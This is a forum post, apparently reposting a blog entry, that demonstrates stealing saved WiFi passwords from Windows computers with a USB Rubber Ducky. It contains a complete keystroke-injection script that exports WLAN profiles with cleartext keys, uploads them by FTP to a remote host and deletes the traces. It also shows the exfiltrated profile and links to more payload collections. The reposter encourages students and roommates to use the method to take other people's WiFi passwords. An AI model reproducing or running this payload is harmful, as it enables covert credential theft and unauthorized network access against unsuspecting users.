Today I was looking for a way to strip off wireless access point credentials from a user's profile. Since the new Win 8 Tablets' primary connection for networking is WiFi, it makes a juicy target. The above video shows the attack underway.
The tool being used in this demo is the USB Rubber Ducky from Hak5. It mimics a HID device, actually a keyboard, when plugged into a computer. Thus far this attack has worked on a Win 7 Laptop, a Wyse Zero Client, as well as the Win 8 Tablet.
The payload I am running on the Ducky for this exploit uses a netsh command to dump the WLAN info from the user's profile, then it runs a quick FTP to get the dumped data off of the user's machine. It works very well and is fast. Once I have this data ex-filtrated from the user's machine, all I have to do is to connect to the Access Point from my own device using the jacked credentials.
This is the Ducky Script:
Code
REM #### win 7 bits upload wlan keys
DELAY 1000
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
CTRL-SHIFT ENTER
DELAY 400
ALT y
DELAY 400
STRING netsh wlan export profile folder=%USERPROFILE%\ key=clear
ENTER
DELAY 200
STRING copy /b /Y %USERPROFILE%\*.xml %USERPROFILE%\wipass.xml
ENTER
STRING echo put %USERPROFILE%\wipass.xml uploads/wipass.xml|ftp -A 192.168.100.115
ENTER
DELAY 2200
STRING quit
ENTER
STRING erase /Q %USERPROFILE%\*.xml
ENTER
DELAY 200
STRING exit
ENTERHere is the main command that is run to do the extraction: netsh wlan export profile folder=%USERPROFILE%\ key=clear
Here is the data from the ex-fil, obviously redacted:
Code
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>Invertix</name>
<SSIDConfig>
<SSID>
<hex>6947617465</hex>
<name>someSSID</name>
</SSID>
<nonBroadcast>true</nonBroadcast>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<autoSwitch>true</autoSwitch>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>derpderpderpy</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>This exploit requires physical contact with a user's computer. While it leaves no trace on the computer after the exploit has run, the user will see the command prompt pop up if the user is sitting at the computer. A little Social Engineering should solve that problem.
I am working on setting up a payload for a reverse shell. That should be way more fun!
Thanks for reading.
Source : https://altamiracorp.com/blog/vlogs/jack...bber-ducky
This is why the Rubber Ducky or a Teensy is a really useful thing to have. You can do a number of automated tasks very quickly with just the action of plugging it into the victims computer. (Having you created the payload first.) It only took 13 seconds for this task to be complete. You can clearly see it tells you the command and in the script what command is used to fetch the WiFi credentials from the directory on the target computer. You could do this by just typing the syntax into command prompt.
So, for the kids in school who want that WiFi password or other info, try something like this method. It could also be an option if your roommate has blocked you from WiFi and you need the password. (You will need access to his/her PC for less than a minute.) You may need to tweak the code a bit, though. If the WiFi password was typed on the computer, it will retrieve it. No need for a RAT/keylogger.
You can find a bunch of other payloads to experiment with, see how they work, and or learn from here.
https://github.com/hak5darren/USB-Rubber...i/Payloads
(Exploit-db and other sources also have more.)
Combine payloads and or create your own with the Duck Toolkit.
http://ducktoolkit.com
More payloads and info here.
http://ducktoolkit.com/ScriptSelection.jsp
🤝
![[Image: 83dy0m9HWMFCdD6X702akg.png]](https://wigle.net/bi/83dy0m9HWMFCdD6X702akg.png)
